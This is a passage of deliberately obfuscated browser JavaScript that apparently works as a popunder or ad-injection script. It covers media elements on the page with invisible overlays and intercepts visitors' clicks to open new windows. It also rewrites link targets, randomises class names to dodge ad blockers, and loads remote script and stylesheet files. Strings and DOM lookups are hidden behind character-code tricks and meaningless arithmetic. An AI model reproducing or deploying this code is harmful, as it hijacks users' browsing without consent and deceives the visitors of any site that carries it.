exp == max + min + meridiem && exp) { /** @type {Date} */ var d = new Date; d.setTime(d.getTime() + I3x.s5h(exp, backoff)); /** @type {Date} */ exp = data.c6h = d; } if (exp && exp.toUTCString) { data.c6h = exp.toUTCString(); } /** @type {string} */ value = encodeURIComponent(value); /** @type {string} */ var result = key + separator2 + value; var index; for (index in data) { result += token + index; var a = data[index]; if (I3x.M6h(a, I3x.Z2h)) { result += separator2 + a; } } escape(result); }; /** * @param {string} key * @param {string} a * @return {?} */ var getNext = function e(key, a) { /** * @param {string} val * @return {undefined} */ var s = function(val) { /** @type {string} */ localStorage[key] = val; }; s(a); return a; }; /** * @param {string} b * @return {?} */ var getter = function nan(b) { return localStorage[b]; }; /** * @param {string} elem * @return {?} */ var V5 = function get(elem) { var a; for (a in e4Z6h[O6h]) { if (a.length == 6 && (a.charCodeAt(5) == 101 && (a.charCodeAt(4) == 105 && a.charCodeAt(0) == 99))) { break; } } /** @type {string} */ var expected = "=([^;]*)"; /** @type {string} */ var name = "\\$1"; /** @type {string} */ var label = "(?:^|; )"; var matches = e4Z6h[O6h][a].match(new RegExp(label + elem.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, name) + expected)); return matches ? decodeURIComponent(matches[idx]) : undefined; }; /** * @param {Node} object * @param {?} arg * @return {?} */ var findClosestLink = function extend(object, arg) { if (!object) { return obj; } if (I3x.N6h(object.tagName, arg)) { return object; } return extend(object.parentNode, arg); }; /** * @return {undefined} */ var appendModelPrefix = function loaded() { /** @type {(null|number)} */ var backoff = (514, 257) <= (405, 84) ? (180, null) : (670, 1211) >= 235 ? (1044, 750) : 1074 <= (1353, 485) ? (975, 1160) : (275, 1475); /** @type {string} */ var longNameB = "deo"; /** @type {string} */ var r = "v"; /** @type {string} */ var Cancel = "ed"; /** @type {string} */ var nbsp = "mb"; /** @type {string} */ var d = "am"; /** @type {string} */ var a = ", "; /** @type {string} */ var g = "j"; /** @type {string} */ var f = "ob"; forEach(until, function(t) { if (t.parentNode) { t.parentNode.removeChild(t); } }); until = forEach(log(f + g + b + s + $1 + a + key + _ + c + d + b + a + b + nbsp + Cancel + a + r + key + longNameB + a + e + prefix + content + key + v), function(element) { /** @type {string} */ var ABSOLUTE = "absolute"; /** @type {string} */ var margin = "px"; /** @type {boolean} */ var f = array.some(function(deepDataAndEvents) { return I3x.H6h(element.offsetWidth + customViewMenuOffsetWidth + element.offsetHeight, deepDataAndEvents); }); if (!f) { var elementRect = proceed(element); return drawBorder({ left : elementRect.left + margin, top : elementRect.top + margin, height : element.offsetHeight + margin, width : element.offsetWidth + (ms + customViewMenuOffsetWidth), position : ABSOLUTE }); } return[]; }); /** @type {number} */ tref = setTimeout(loaded, backoff); }; /** * @return {undefined} */ var loopMatch = function unload() { if (I3x.q5h(until.length, id)) { return; } forEach(until, function(t) { if (t.parentNode) { t.parentNode.removeChild(t); } }); if (tref) { clearTimeout(tref); } }; /** * @param {string} deepDataAndEvents * @return {?} */ var log = function clone(deepDataAndEvents) { /** @type {Array} */ var res = []; try { res = forEach(e4Z6h[O6h]["querySelectorAll"](deepDataAndEvents), function(obj) { return obj; }); } catch (x) { } return res; }; /** * @param {Array} arg * @param {Function} callback * @return {?} */ var forEach = function map(arg, callback) { /** @type {Array} */ var bucket = []; /** @type {number} */ var key = id; var value = void id; for (;I3x.C5h(key, arg.length);) { value = callback(arg[key], key, arg); if (I3x.R5h(value, undefined)) { bucket.push(value); } key += idx; } return bucket; }; /** * @param {Object} n * @return {?} */ var proceed = function chunk(n) { var character; for (character in e4Z6h[O6h]) { if (character.length == 15 && (character.charCodeAt(335 < (457, 449) ? (727, 14) : 128 < (41, 110) ? (75, "d") : (1302, 799)) == 116 && (character.charCodeAt(13) == 110 && character.charCodeAt((1149, 8) <= 74 ? (152, 0) : (808, 93) >= (322, 418) ? (35, 29) : 228 < (487, 91) ? 26 : (1433, 355)) == 100))) { break; } } var a; for (a in e4Z6h[O6h]) { if (a.length == 4 && (a.charCodeAt(3) == (60 < (888, 111) ? (474, 121) : (147, 32) >= (946, 235) ? "A" : (1, 635)) && (a.charCodeAt((52, 553) >= (1091, 314) ? (542, 2) : (419, 1459) <= 438 ? (267, "N") : 79 > (147, 935) ? 43 : (52, 38)) == ((310, 88) > (96, 297) ? (202, ",") : 589 >= (103, 351) ? (178, 100) : (216, 69)) && a.charCodeAt(0) == 98))) { break; } } var check; for (check in e4Z6h[O6h]) { if (check.length == 15 && (check.charCodeAt(14) == 116 && (check.charCodeAt(13) == 110 && check.charCodeAt(0) == 100))) { break; } } var chr; for (chr in e4Z6h[O6h]) { if (chr.length == 4 && (chr.charCodeAt(3) == ((117, 1037) > (36, 19) ? (105, 121) : (539, 735) <= (185, 66) ? (53, "l") : (281, 131)) && (chr.charCodeAt(2) == ((154, 706) >= (152, 38) ? (73, 100) : (413, 452)) && chr.charCodeAt(0) == 98))) { break; } } var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == ((278, 119) <= (227, 566) ? (122, 15) : 45 > (440, 117) ? (295, "b") : (19, 68) < 66 ? (698, "b") : (97, 485)) && (m1.charCodeAt((574, 1001) < 93 ? "E" : (6, 480) < 307 ? 17 : 168 >= (294, 16) ? (116, 14) : (38, 99)) == ((68, 449) >= (343, 42) ? (390, 116) : (284, 214) > 1074 ? (53, 15) : (104, 120) < (169, 67) ? "k" : (514, 1330)) && (m1.charCodeAt(13) == 110 && m1.charCodeAt(0) == 100))) { break; } } var secret; for (secret in e4Z6h[O6h]) { if (secret.length == 4 && (secret.charCodeAt(3) == 121 && (secret.charCodeAt((10, 15) > 115 ? (1186, "Q") : (135, 345) <= 518 ? (143, 2) : (1304, 1297) <= 141 ? (106, 3) : (832, 927)) == 100 && secret.charCodeAt(0) == ((205, 272) < 60 ? "u" : (34, 364) > (42, 108) ? (911, 98) : (1236, 580) <= 464 ? (425, 98) : (209, 223))))) { break; } } var ch; for (ch in e4Z6h[O6h]) { if (ch.length == 15 && (ch.charCodeAt(14) == 116 && (ch.charCodeAt(13) == 110 && ch.charCodeAt(0) == 100))) { break; } } var s1; for (s1 in e4Z6h[O6h]) { if (s1.length == 4 && (s1.charCodeAt((382, 166) > 146 ? (365, 3) : (399, 55)) == (97 > (26, 147) ? (289, "e") : (400, 5) < 122 ? (497, 121) : 388 > (155, 1023) ? 13 : (1155, 529)) && (s1.charCodeAt(2) == ((438, 1022) >= (125, 187) ? (1445, 100) : (496, 196)) && s1.charCodeAt(0) == 98))) { break; } } var otherElementRect = n.getBoundingClientRect(); return{ top : Math.round(otherElementRect.top + I3x.i2h(e4Z6h[G6h]["pageYOffset"] || (e4Z6h[O6h][character]["scrollTop"] || e4Z6h[O6h][a]["scrollTop"]), e4Z6h[O6h][check]["clientTop"] || (e4Z6h[O6h][chr]["clientTop"] || id))), left : Math.round(otherElementRect.left + I3x.y5h(e4Z6h[G6h]["pageXOffset"] || (e4Z6h[O6h][m1]["scrollLeft"] || e4Z6h[O6h][secret]["scrollLeft"]), e4Z6h[O6h][ch]["clientLeft"] || (e4Z6h[O6h][s1]["clientLeft"] || id))) }; }; /** * @param {number} xs * @return {?} */ var get = function extend(xs) { /** @type {string} */ var actualObject = "0123456789abcdef"; /** @type {string} */ var obj = k; /** @type {string} */ var object = actualObject; /** @type {number} */ var udataCur = id; for (;I3x.W6h(udataCur, match);udataCur++) { obj += object.charAt(I3x.p6h(xs >> udataCur * fromIndex + selector, 15)) + object.charAt(I3x.X6h(xs >> udataCur * fromIndex, 15)); } return obj; }; /** * @param {string} result * @return {?} */ var cloneDate = function $(result) { /** * @return {undefined} */ var IEContentLoaded = function() { actions[I3x.m5h(udataCur * r20, sel)] = I3x.H5h(result.length, fromIndex); }; var udataCur = I3x.w5h(result.length + fromIndex, restoreScript) + idx; /** @type {Array} */ var actions = new Array(I3x.C2h(udataCur, r20)); /** @type {number} */ var _id = id; for (;I3x.x5h(_id, udataCur * r20);_id++) { /** * @param {number} s * @return {undefined} */ var esc = function(s) { /** @type {number} */ actions[_id] = s; }; esc(id); } /** @type {number} */ _id = id; for (;I3x.K6h(_id, result.length);_id++) { actions[I3x.x6h(_id, sel)] |= I3x.l6h(result.charCodeAt(_id), _id % selector * fromIndex); } actions[I3x.T6h(_id, sel)] |= I3x.W5h(128, _id % selector * fromIndex); IEContentLoaded(); return actions; }; /** * @param {number} deepDataAndEvents * @param {number} a * @return {?} */ var $ = function clone(deepDataAndEvents, a) { var udataCur = I3x.K5h(deepDataAndEvents, 65535) + I3x.o5h(a, 393 <= (141, 544) ? (304, 65535) : (566, 253)); var y = I3x.u6h(deepDataAndEvents, r20) + I3x.r6h(a, r20) + I3x.C6h(udataCur, r20); return I3x.y6h(y << r20, udataCur & 65535); }; /** * @param {number} dataAndEvents * @param {number} from * @return {?} */ var wrap = function clone(dataAndEvents, from) { /** @type {number} */ var to = 32; return I3x.f6h(dataAndEvents << from, dataAndEvents >>> to - from); }; /** * @param {number} context * @param {number} s * @param {number} dataAndEvents * @param {?} deepDataAndEvents * @param {number} target * @param {number} object * @return {?} */ var mixin = function clone(context, s, dataAndEvents, deepDataAndEvents, target, object) { return $(wrap($($(s, context), $(deepDataAndEvents, object)), target), dataAndEvents); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} x * @param {number} arr * @param {?} deepDataAndEvents * @param {number} obj * @param {number} block * @return {?} */ var set = function clone(object, dataAndEvents, x, arr, deepDataAndEvents, obj, block) { return mixin(I3x.z6h(dataAndEvents, x) | ~dataAndEvents & arr, object, dataAndEvents, deepDataAndEvents, obj, block); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} obj * @param {number} x * @param {?} deepDataAndEvents * @param {number} value * @param {number} src * @return {?} */ var insert = function clone(object, dataAndEvents, obj, x, deepDataAndEvents, value, src) { return mixin(I3x.r5h(dataAndEvents, x) | obj & ~x, object, dataAndEvents, deepDataAndEvents, value, src); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} xs * @param {number} x * @param {?} deepDataAndEvents * @param {number} regex * @param {number} other * @return {?} */ var test = function clone(object, dataAndEvents, xs, x, deepDataAndEvents, regex, other) { return mixin(I3x.a2h(dataAndEvents, xs, x), object, dataAndEvents, deepDataAndEvents, regex, other); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} obj * @param {number} arr * @param {?} deepDataAndEvents * @param {number} callback * @param {number} value * @return {?} */ var iterator = function clone(object, dataAndEvents, obj, arr, deepDataAndEvents, callback, value) { return mixin(obj ^ (dataAndEvents | ~arr), object, dataAndEvents, deepDataAndEvents, callback, value); }; /** * @param {string} callback * @return {?} */ var getValue = function render(callback) { /** @type {number} */ var Q = 343485551; /** @type {(number|string)} */ var udataCur = (2, 27) > (53, 136) ? (28, "Y") : (321, 110) < (1380, 99) ? 256 : (1489, 1039) >= 887 ? (0, 718787259) : (786, 34); /** @type {number} */ var y = 1120210379; /** @type {number} */ var f = 145523070; /** @type {number} */ var silentOptions = 1309151649; /** @type {number} */ var e = (566, 115) <= 256 ? (62, 1560198380) : (15, 1474) <= (113, 72) ? 5 : (464, 1431); /** @type {number} */ var g = 30611744; /** @type {(number|string)} */ var _v = (87, 1396) < (549, 131) ? "v" : (89, 21) <= 30 ? (1429, 1873313359) : (258, 92) < 23 ? 22 : (6, 92); /** @type {number} */ var X = 2054922799; /** @type {number} */ var V = 1051523; /** @type {(number|string)} */ var M = 297 >= (93, 218) ? (38, 1894986606) : (181, 1367) < 271 ? "g" : (734, 79); /** @type {(number|string)} */ var camelKey = (59, 1083) > (487, 175) ? (310, 1700485571) : 106 <= (1461, 94) ? (247, "V") : (54, 124); /** @type {number} */ var W = 28 > (393, 599) ? 10 : (280, 413) < 1019 ? (1439, 57434055) : 81 >= (397, 283) ? 90 : (494, 298); /** @type {number} */ var u = 1416354905; /** @type {number} */ var STACK_JUMP_SEPARATOR = 1126891415; /** @type {number} */ var S = 198630844; /** @type {number} */ var t = 995338651; /** @type {number} */ var power = 530742520; /** @type {number} */ var Z = 421815835; /** @type {number} */ var d = 640364487; /** @type {number} */ var typePattern = 76029189; /** @type {number} */ var k = 722521979; /** @type {number} */ var F8 = 358537222; /** @type {number} */ var query = 681279174; /** @type {number} */ var p8 = 1094730640; /** @type {number} */ var s8 = 155497632; /** @type {number} */ var rem = 1272893353; /** @type {number} */ var q8 = 1530992060; /** @type {number} */ var m8 = 35309556; /** @type {number} */ var radixToPower = 1839030562; /** @type {number} */ var T8 = (93, 116) < (430, 45) ? 425 : 135 >= (158, 580) ? (53, 281) : (818, 411) > 142 ? (1407, 2022574463) : (935, 61); /** @type {number} */ var N8 = 378558; /** @type {number} */ var j8 = 1926607734; /** @type {number} */ var markdown = 1735328473; /** @type {number} */ var S8 = 380 < (21, 430) ? (139, 51403784) : (124, 514) > 1407 ? 8 : (1013, 139); /** @type {number} */ var B8 = 1444681467; /** @type {number} */ var eventData = (416, 537) < 33 ? (35, 14) : (575, 248) <= (115, 89) ? 14 : 228 < (438, 464) ? (1469, 1163531501) : (370, 114); /** @type {number} */ var d8 = 187363961; /** @type {number} */ var a8 = 1019803690; /** @type {number} */ var EventEmitter = 568446438; /** @type {number} */ var g1 = 405537848; /** @type {number} */ var W1 = 660478335; /** @type {number} */ var oldconfig = 38016083; /** @type {number} */ var u1 = 701558691; /** @type {(number|string)} */ var R = (58, 401) >= (262, 913) ? "R" : 193 < (1371, 260) ? (25, 373897302) : (407, 111); /** @type {number} */ var originalEvent = 643717713; /** @type {number} */ var m1 = 1069501632; /** @type {number} */ var t1 = 165796510; /** @type {number} */ var stop = 1236535329; /** @type {number} */ var X8 = 1502002290; /** @type {number} */ var j1 = 40341101; /** @type {number} */ var waitsFunc = 1804603682; /** @type {number} */ var r1 = 1990404162; /** @type {number} */ var rreturn = 11; /** @type {number} */ var P8 = 42063; /** @type {number} */ var i8 = 1958414417; /** @type {number} */ var waitsForFunc = 1770035416; /** @type {number} */ var A1 = 45705983; /** @type {number} */ var x1 = 1473231341; /** @type {number} */ var spec = 1200080426; /** @type {number} */ var Q1 = 176418897; /** @type {number} */ var z8 = 1044525330; /** @type {number} */ var reversed = (71, 7) <= 1472 ? (44, 22) : (461, 130); /** @type {number} */ var suite = 606105819; /** @type {number} */ var C1 = 389564586; /** @type {number} */ var f1 = 437 >= (341, 247) ? (105, 680876936) : (128, 432) < (333, 137) ? 94 : (141, 356); /** @type {number} */ var m4 = 271733878; /** @type {number} */ var K1 = (343, 585) <= (79, 563) ? (886, 729) : 31 < (219, 84) ? (22, 1732584194) : (197, 57) >= 768 ? 676 : (87, 1073); /** @type {number} */ var A8 = 271733879; /** @type {number} */ var defaultValue = 1732584193; var check = cloneDate(callback); /** @type {number} */ var value = defaultValue; /** @type {number} */ var node = -A8; /** @type {number} */ var obj = -K1; /** @type {number} */ var item = m4; /** @type {number} */ var T = id; for (;I3x.v5h(T, check.length);T += r20) { var v = value; var parent = node; var context = obj; var doc = item; value = set(value, node, obj, item, check[T + id], suiteView, -f1); item = set(item, value, node, obj, check[T + idx], passes, -C1); obj = set(obj, item, value, node, check[T + sel], DOT_CALL_NO_PARENS, suite); node = set(node, obj, item, value, check[T + match], reversed, -z8); value = set(value, node, obj, item, check[T + selector], suiteView, -Q1); item = set(item, value, node, obj, check[T + pdataOld], passes, spec); obj = set(obj, item, value, node, check[T + restoreScript], DOT_CALL_NO_PARENS, -x1); node = set(node, obj, item, value, check[T + suiteView], reversed, -A1); value = set(value, node, obj, item, check[T + fromIndex], suiteView, waitsForFunc); item = set(item, value, node, obj, check[T + bytenew], passes, -i8); obj = set(obj, item, value, node, check[T + base], DOT_CALL_NO_PARENS, -P8); node = set(node, obj, item, value, check[T + rreturn], reversed, -r1); value = set(value, node, obj, item, check[T + passes], suiteView, waitsFunc); item = set(item, value, node, obj, check[T + te], passes, -j1); obj = set(obj, item, value, node, check[T + pdataCur], DOT_CALL_NO_PARENS, -X8); node = set(node, obj, item, value, check[T + scripts], reversed, stop); value = insert(value, node, obj, item, check[T + idx], pdataOld, -t1); item = insert(item, value, node, obj, check[T + restoreScript], bytenew, -m1); obj = insert(obj, item, value, node, check[T + rreturn], pdataCur, originalEvent); node = insert(node, obj, item, value, check[T + id], interval, -R); value = insert(value, node, obj, item, check[T + pdataOld], pdataOld, -u1); item = insert(item, value, node, obj, check[T + base], bytenew, oldconfig); obj = insert(obj, item, value, node, check[T + scripts], pdataCur, -W1); node = insert(node, obj, item, value, check[T + selector], interval, -g1); value = insert(value, node, obj, item, check[T + bytenew], pdataOld, EventEmitter); item = insert(item, value, node, obj, check[T + pdataCur], bytenew, -a8); obj = insert(obj, item, value, node, check[T + match], pdataCur, -d8); node = insert(node, obj, item, value, check[T + fromIndex], interval, eventData); value = insert(value, node, obj, item, check[T + te], pdataOld, -B8); item = insert(item, value, node, obj, check[T + sel], bytenew, -S8); obj = insert(obj, item, value, node, check[T + suiteView], pdataCur, markdown); node = insert(node, obj, item, value, check[T + passes], interval, -j8); value = test(value, node, obj, item, check[T + pdataOld], selector, -N8); item = test(item, value, node, obj, check[T + fromIndex], rreturn, -T8); obj = test(obj, item, value, node, check[T + rreturn], r20, radixToPower); node = test(node, obj, item, value, check[T + pdataCur], result, -m8); value = test(value, node, obj, item, check[T + idx], selector, -q8); item = test(item, value, node, obj, check[T + selector], rreturn, rem); obj = test(obj, item, value, node, check[T + suiteView], r20, -s8); node = test(node, obj, item, value, check[T + base], result, -p8); value = test(value, node, obj, item, check[T + te], selector, query); item = test(item, value, node, obj, check[T + id], rreturn, -F8); obj = test(obj, item, value, node, check[T + match], r20, -k); node = test(node, obj, item, value, check[T + restoreScript], result, typePattern); value = test(value, node, obj, item, check[T + bytenew], selector, -d); item = test(item, value, node, obj, check[T + passes], rreturn, -Z); obj = test(obj, item, value, node, check[T + scripts], r20, power); node = test(node, obj, item, value, check[T + sel], result, -t); value = iterator(value, node, obj, item, check[T + id], restoreScript, -S); item = iterator(item, value, node, obj, check[T + suiteView], base, STACK_JUMP_SEPARATOR); obj = iterator(obj, item, value, node, check[T + pdataCur], scripts, -u); node = iterator(node, obj, item, value, check[T + pdataOld], which, -W); value = iterator(value, node, obj, item, check[T + passes], restoreScript, camelKey); item = iterator(item, value, node, obj, check[T + match], base, -M); obj = iterator(obj, item, value, node, check[T + base], scripts, -V); node = iterator(node, obj, item, value, check[T + idx], which, -X); value = iterator(value, node, obj, item, check[T + fromIndex], restoreScript, _v); item = iterator(item, value, node, obj, check[T + scripts], base, -g); obj = iterator(obj, item, value, node, check[T + restoreScript], scripts, -e); node = iterator(node, obj, item, value, check[T + te], which, silentOptions); value = iterator(value, node, obj, item, check[T + selector], restoreScript, -f); item = iterator(item, value, node, obj, check[T + rreturn], base, -y); obj = iterator(obj, item, value, node, check[T + sel], scripts, udataCur); node = iterator(node, obj, item, value, check[T + bytenew], which, -Q); value = $(value, v); node = $(node, parent); obj = $(obj, context); item = $(item, doc); } return get(value) + get(node) + get(obj) + get(item); }; toggle(radixToPower); /** @type {Array} */ var array = [foo, value2, baz, aba, I2, A_Z_a_z + d1 + d2 + customViewMenuOffsetWidth + d1 + w2]; /** @type {number} */ var index2 = idx; /** @type {number} */ var progressContexts = selector; /** @type {string} */ var rvar = item.j5h; /** @type {Array} */ var src = item.t5h; var tref = void id; /** @type {Array} */ var until = []; var blank; var text; var index; /** @type {string} */ var orig = path; var child = child || {}; isUndefinedOrNull(item); isArguments(a); /** @type {string} */ var expectedOutput = expected; /** @type {string} */ var up = mouseup; index = getIndex(); tryIt(); throttledUpdate(); if (I3x.X5h(item.F5h, undefined) && I3x.j6h(item.F5h.length, id)) { var memory; valueAccessor(function() { getActual(function() { /** * @param {Array} options * @param {?} $vid * @return {undefined} */ function pause(options, $vid) { /** * @param {Element} e * @return {undefined} */ function pause(e) { if (e.classList.contains(item.F5h)) { e.classList.remove(item.F5h); e.classList.add(getValue(child.b5h + Date.now())); } } /** @type {number} */ var len = id; var spaces = options.length; for (;I3x.F6h(len, spaces);len++) { if ($vid) { /** * @return {undefined} */ var callback = function() { /** @type {string} */ var dots = ".html"; options[len].href = text + dots; }; callback(); pause(options[len]); continue; } options[len].href = fn(); } } /** * @return {undefined} */ var bindings = function() { memory = e4Z6h[O6h]["querySelectorAll"](total + item.F5h) ? e4Z6h[O6h]["querySelectorAll"](total + item.F5h) : obj; }; bindings(); if (I3x.U6h(memory, obj)) { return; } toVLQSigned(function() { pause(memory, I3x.Z2h); }, function() { pause(memory); }); }); }); return; } var node = function() { var doneResults = I3x.H2h; return function() { /** @type {string} */ var filename = "ript"; /** * @param {?} data * @return {undefined} */ var triggerHandler = function(data) { doneResults = data; }; /** * @param {string} blank * @return {undefined} */ var err = function(blank) { /** @type {string} */ img.src = blank; }; if (doneResults) { return; } triggerHandler(I3x.Z2h); var img = e4Z6h[O6h]["createElement"](name + s + filename); err(blank); valueAccessor(function() { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 4 && (m1.charCodeAt(3) == (108 != (353, 108) ? 68 : (68, 1351) < 93 ? 81 : (68, 4) < 28 ? (137, 121) : (717, 44)) && (m1.charCodeAt(2) == ((135, 364) <= (10, 566) ? (293, 100) : (141, 133)) && m1.charCodeAt(0) == ((488, 71) > 418 ? 17 : (54, 7) <= 75 ? (999, 98) : (46, 250))))) { break; } } e4Z6h[O6h][m1]["appendChild"](img); }); /** * @return {undefined} */ img.onload = function() { img.parentNode.removeChild(img); if (I3x.Q6h(e4Z6h[G6h].zfgloadedpopup, I3x.Z2h)) { onerror(img); } }; /** * @return {undefined} */ img.onerror = function() { onerror(img); }; }; }(); var onerror = function() { var H2h = I3x.H2h; return function init(editor) { /** @type {string} */ var udataCur = "anonymous"; /** @type {string} */ var memory = "text/css"; /** @type {string} */ var pdataOld = "stylesheet"; /** @type {string} */ var seq = "head"; /** @type {string} */ var div = "link"; /** * @return {undefined} */ var loop = function() { /** @type {string} */ var extension = "css"; elem.id = index + extension; }; /** * @param {?} value * @return {undefined} */ var fn = function(value) { elem.rel = value; }; /** * @param {Object} value * @return {undefined} */ var options = function(value) { /** @type {Object} */ elem.crossOrigin = value; }; /** * @param {string} type * @return {undefined} */ var fire = function(type) { /** @type {string} */ elem.type = type; }; /** * @return {undefined} */ var change = function() { /** @type {string} */ var dots = ".css"; elem.href = text + dots; }; if (H2h) { return; } if (editor.parentNode) { editor.parentNode.removeChild(editor); } var elem = e4Z6h[O6h]["createElement"](div); var target = e4Z6h[O6h]["getElementsByTagName"](seq)[id]; loop(); fn(pdataOld); fire(memory); options(udataCur); change(); if (target) { target.insertBefore(elem, target.firstChild); } /** * @return {undefined} */ elem.onload = function() { var gameConfig = getText(elem.href); if (gameConfig) { on(failuresLink); elem.parentNode.removeChild(elem); return; } var prep = ok(elem.href); setTimeout(function() { /** @type {string} */ var closure = "io"; /** @type {string} */ var arr = "nct"; /** @type {string} */ var inner = "fu"; if (typeof prep === inner + arr + closure + style) { prep(); } elem.parentNode.removeChild(elem); }, backoff); if (I3x.O5h(e4Z6h[G6h].zfgloadedpopup, I3x.Z2h)) { on(failuresLink); } }; /** * @return {undefined} */ elem.onerror = function() { on(failuresLink); elem.parentNode.removeChild(elem); }; }; }(); var on = function() { var deep = I3x.H2h; return function(deepDataAndEvents) { /** * @return {?} */ function pluck() { return getter(index).split(path).map(function(m1) { return parseInt(m1, base); }); } /** * @param {Array} that * @return {?} */ function filter(that) { /** @type {Array} */ var filtered = []; for (;I3x.e5h(that.length, id);) { filtered.push(that.splice(indexOf(id, that.length), idx).toString()); } return filtered; } /** * @param {number} name * @param {number} id * @param {number} s * @return {undefined} */ function getObject(name, id, s) { getNext(index, name + path + id + path + s); } /** @type {string} */ var offset = "z-index:"; /** @type {string} */ var webPortPath = "bottom:"; /** @type {string} */ var spaceBefore = "right:"; /** @type {string} */ var reference = "left:"; /** @type {string} */ var spaceAfter = "px;"; /** @type {string} */ var base = "height:"; /** @type {string} */ var val = "%;"; /** @type {string} */ var name = "width:"; /** @type {string} */ var start = "position:fixed;"; /** @type {(number|string)} */ var udataCur = (144, 59) <= (4, 436) ? (155, 101) : (89, 100) >= (849, 176) ? (137, "U") : (655, 932); /** @type {number} */ var arg = 98; /** @type {number} */ var obj = 99999999; /** @type {number} */ var actual = (51, 471) > 11 ? (897, 9999999) : (73, 579) <= (197, 339) ? (59, 873) : (46, 739); /** @type {string} */ var _ = "op"; /** @type {string} */ var g = "reff"; /** @type {string} */ var m = " "; /** @type {string} */ var h = "w"; /** @type {string} */ var x = "lo"; /** @type {string} */ var mapwidth = "ofol"; /** @type {string} */ var nbsp = "umbe"; /** @type {string} */ var NUMBER = "number"; /** @type {string} */ var startIndex = "___goo"; /** @type {number} */ var YY_START = 1126 <= (1146, 461) ? 585 : (952, 440) < (441, 3) ? 159 : (417, 138) < 246 ? (355, 30) : (105, 5); /** @type {string} */ var path = "|"; /** * @param {?} key * @return {undefined} */ var fn = function(key) { el.rel = key; }; /** * @param {?} target * @return {undefined} */ var deepMatches = function(target) { deep = target; }; /** * @return {undefined} */ var removeHash = function() { /** @type {string} */ var _ = "tm"; el.href = text + (total + value + _ + i); }; /** * @return {undefined} */ var throttledUpdate = function() { which = I3x.G2h(which, backoff, udataCur, udataCur); }; if (deep) { return; } deepMatches(I3x.Z2h); /** @type {number} */ var previousSibling = idx; /** @type {(boolean|number)} */ var ifKeyword = match; /** @type {number} */ var YYSTATE = YY_START; /** @type {string} */ var index = startIndex; /** @type {number} */ var rvar = (new Date).getTime(); /** @type {(boolean|number)} */ var r20 = typeof item.n5h === NUMBER ? item.n5h : ifKeyword; /** @type {number} */ var which = typeof item.g5h === style + nbsp + c ? item.g5h : previousSibling; /** @type {number} */ var chunk = typeof item.R2h === NUMBER ? item.R2h : YYSTATE; var result = void id; throttledUpdate(); chunk *= backoff; if (!getter(index)) { getObject(rvar, id, id); appendModelPrefix(); } else { var CACHE = pluck(); var cache = f5h(CACHE, sel); var mod = cache[id]; var data = cache[idx]; if (I3x.d2h(which, id)) { getObject(id, data, id); } else { if (I3x.c5h(rvar, mod + which)) { getObject(rvar, data, id); } else { } } var animationLookup = pluck(); var matches = f5h(animationLookup, match); var classNames = matches[sel]; if ((I3x.T5h(r20, id) || I3x.q6h(classNames, r20)) && I3x.k6h(rvar, data + chunk)) { appendModelPrefix(); } } var el = e4Z6h[O6h]["createElement"](e); removeHash(); fn(style + mapwidth + x + h + m + style + v + g + b + c + b + c + m + style + v + _ + b + style + b + c); var i = indexOf(actual, obj); var keyName = indexOf(arg, udataCur); var type = indexOf(arg, udataCur); var found = indexOf(id, selector); var io = indexOf(id, selector); var size = indexOf(id, selector); var content = indexOf(id, selector); /** @type {Array} */ var a = [start, name + keyName + val, base + type + val, $1 + _ + $2 + found + spaceAfter, reference + size + spaceAfter, spaceBefore + content + spaceAfter, webPortPath + io + spaceAfter, offset + i + j]; e4Z6h[O6h]["addEventListener"](expectedOutput, function(event) { /** @type {number} */ var udataCur = (new Date).getTime(); var animationLookup = pluck(); var matches = f5h(animationLookup, match); var data = matches[idx]; var classNames = matches[sel]; if (I3x.M5h(udataCur, data + chunk)) { return; } if (I3x.B5h(classNames, r20) && I3x.Z5h(r20, id)) { return; } var o = findClosestLink(event.target, g); if (o) { /** * @param {StyleSheet} o * @return {undefined} */ var unfoldSoak = function(o) { result = o.href; }; unfoldSoak(o); } event.preventDefault(); event.stopPropagation(); loopMatch(); valueAccessor(function() { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 4 && (m1.charCodeAt(3) == 121 && (m1.charCodeAt(2) == 100 && m1.charCodeAt(0) == (64 < (1404, 146) ? (276, 98) : (121, 1408) < 185 ? (120, 809) : (559, 302) >= 521 ? (287, "%;") : (377, 113))))) { break; } } return e4Z6h[O6h][m1]["appendChild"](el); }); el.style.cssText += filter(a).join(str); }, I3x.Z2h); el.addEventListener(up, function(event) { /** @type {string} */ var val2 = "Fhtml"; /** @type {string} */ var z = "y"; /** @type {string} */ var y = "od"; /** @type {string} */ var ty = "dy"; /** @type {string} */ var inner = "bo"; /** @type {string} */ var o = "ead"; /** @type {(number|string)} */ var n = (73, 13) <= (1273, 250) ? (57, "h") : (147, 805); /** @type {(number|string)} */ var longNameB = 136 >= (26, 38) ? (74, "F") : (906, 138); /** @type {string} */ var JSCRIPT_KEYWORDS = "E"; /** @type {string} */ var q = "p"; /** @type {string} */ var value = "Fscri"; /** @type {string} */ var operator = "2"; /** @type {string} */ var s = "C"; /** @type {string} */ var PYTHON_KEYWORDS = "3"; /** @type {string} */ var PERL_KEYWORDS = "%"; /** @type {string} */ var t = '?q");}, 300);'; /** @type {string} */ var g = '("'; /** @type {string} */ var r = "ce"; /** @type {string} */ var args = "ati"; /** @type {string} */ var js = "oc"; /** @type {string} */ var spaceAfter = "ow"; /** @type {string} */ var x = "(){ "; /** @type {string} */ var closure = "cti"; /** @type {string} */ var $2 = "Time"; /** @type {string} */ var __ = "; "; /** @type {string} */ var indentCharacter = "ul"; /** @type {string} */ var clazz = " = "; /** @type {string} */ var varPart = "er"; /** @type {string} */ var guardPart = "en"; /** @type {string} */ var m = "in"; /** @type {string} */ var sign = "%3Chtml%3E%3Chead%3E%3Cscript%3E"; /** * @param {?} obj * @return {undefined} */ var isUndefined = function(obj) { data = obj; }; /** @type {number} */ var suiteView = (new Date).getTime(); var animationLookup = pluck(); var matches = f5h(animationLookup, match); var marker = matches[id]; var data = matches[idx]; var url = matches[sel]; var self = void id; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation(); isUndefined(suiteView); url += idx; getObject(marker, data, url); if (I3x.k2h(deepDataAndEvents, undefined) && I3x.L2h(deepDataAndEvents, failuresLink)) { /** * @param {Object} parent * @return {undefined} */ var group = function(parent) { /** @type {Object} */ self.opener = parent; }; /** * 